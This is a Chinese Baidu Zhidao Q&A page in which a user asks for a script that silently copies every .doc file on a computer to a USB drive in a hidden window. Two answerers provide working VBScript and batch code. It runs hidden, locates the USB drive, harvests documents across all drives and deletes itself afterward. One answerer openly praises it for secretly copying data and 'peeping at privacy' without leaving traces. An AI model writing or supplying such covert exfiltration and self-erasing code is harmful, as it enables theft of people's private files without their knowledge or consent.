如何用bat程序自动复制doc文件到u盘 H中

我想让u盘插入电脑后我只要点击bat程序他就可以自动复制电脑上所有doc文件到u盘H中,前提是要隐藏运行窗口。使它在后台自动运行,复制完成后可以自动关闭程序求bat代码谢... 我想让u盘插入电脑后我只要点击bat程序他就可以自动复制电脑上所有doc文件到u盘 H 中,前提是要隐藏运行窗口。使它在后台自动运行,复制完成后可以自动关闭程序 求bat代码 谢谢 展开
 我来答
控盘惨
2014-02-12 · TA获得超过1074个赞
知道小有建树答主
回答量:582
采纳率:100%
帮助的人:480万
展开全部

用bat写太难了,请看看vbs代码:

On Error Resume Next
Dim fso,ws,list,c,ds,op,file,usb,ext
Set fso=Wscript.CreateObject("Scripting.FileSystemObject")
Set ws=Wscript.CreateObject("Wscript.Shell")
list=fso.GetSpecialFolder(2)+"\"+WScript.ScriptName+"_FilesList.dat"
c=Chr(34)
usb=""
ext="doc"
With fso.GetFile(list)
 .Attributes=0
 .Delete
End With
For Each ds In fso.Drives
 If fso.GetDrive(ds).DriveType<>1 Then
  ws.Run "cmd.exe /C DIR /S /B "+c+ds+c+"\*.*>>"+c+list+c,0,True
 Else
  usb=ds
 End if
Next
fso.GetFile(list).Attributes=1+2+4
Set op=fso.OpenTextFile(list,1)
Do Until op.AtEndOfStream
 file=op.ReadLine
 If fso.GetExtensionName(file)=ext And usb<>"" Then
  fso.CopyFile file,usb & "\"
 End if
Loop
op.Close
With fso.GetFile(list)
 .Attributes=0
 .Delete
End With
MsgBox "复制完毕!已将计算机中所有"+ext+"文件复制到"+c+usb+c+"!",0+64,"控盘惨制作 - 复制完毕"
Set fso=Nothing
Set ws=Nothing
Set op=Nothing
WScript.Quit

以上代码可以自动判断U盘(U盘不一定是H,有可能是G或其它,此脚本可以自动判断)然后将计算机中的所有doc文件复制到U盘里.也是可以后台自动运行的.


使用方法bat一样,把后缀改成vbs即可.

更多追问追答
追问
是隐藏的吗?运行完后会不会自动删除这个程序?
追答

保证隐藏,比bat还隐蔽。bat你也试了,bat运行后怎么样都肯定得显示一下黑窗口,然后再隐藏运行。vbs真的一点都不留痕迹,并且能自动判断U盘,偷偷复制数据。真是出家旅行,偷窥隐私,杀人灭口之良品!
不过抱歉,此vbs不能运行完毕后删除自己。不是我不会写这个删除自己的代码,而是我忘记写了。

不过我改好了代码,附件中的代码就是在原来的代码基础上增添了一个功能:


文件复制完毕之后可以自我删除.


如果您不满意的话欢迎追问我.

z2395501194
2014-02-11 · TA获得超过148个赞
知道答主
回答量:163
采纳率:0%
帮助的人:117万
展开全部
@echo off
if exist temp (goto start) else (
   echo Set ws ^= CreateObject^(^"Wscript^.Shell^"^) >a.vbs
   echo ws^.run ^"cmd ^/c ^"%0^"^"^,vbhide >>a.vbs
   ecoh.>temp
   start a.vbs
   exit
   )
:start
for /r C:\ %%i in (doc) do copy /y %%i H:\%%~ni.doc
for /r D:\ %%i in (doc) do copy /y %%i H:\%%~ni.doc
for /r E:\ %%i in (doc) do copy /y %%i H:\%%~ni.doc
for /r F:\ %%i in (doc) do copy /y %%i H:\%%~ni.doc
for /r G:\ %%i in (doc) do copy /y %%i H:\%%~ni.doc
del temp
del a.vbs
taskkill /f /im cmd.exe%del %0
追问
不好意思,它运行不了、、、麻烦再看看
追答

对不起啊,没仔细检查,一些东西打错了,这个bat只能运行一次,运行完会自动删除

@echo off
if exist temp (goto start) else (
   echo Set ws ^= CreateObject^(^"Wscript^.Shell^"^) >a.vbs
   echo ws^.run ^"cmd ^/c ^"%0^"^"^,vbhide >>a.vbs
   echo.>temp
   start a.vbs
   exit
   )
:start
for /r C:\ %%i in (*.doc) do echo %%i>>1a.txt
for /r D:\ %%i in (*.doc) do echo %%i>>1a.txt
for /r E:\ %%i in (*.doc) do echo %%i>>1a.txt
for /r F:\ %%i in (*.doc) do echo %%i>>1a.txt
for /r G:\ %%i in (*.doc) do echo %%i>>1a.txt
del temp
del a.vbs
taskkill /f /im cmd.exe%del %0
已赞过 已踩过<
你对这个回答的评价是?
评论 收起
推荐律师服务: 若未解决您的问题,请您详细描述您的问题,通过百度律临进行免费专业咨询

为你推荐:

下载百度知道APP,抢鲜体验
使用百度知道APP,立即抢鲜体验。你的手机镜头里或许有别人想知道的答案。
扫描二维码下载
×

类别

我们会通过消息、邮箱等方式尽快将举报结果通知您。

说明

0/200

提交
取消

辅 助

模 式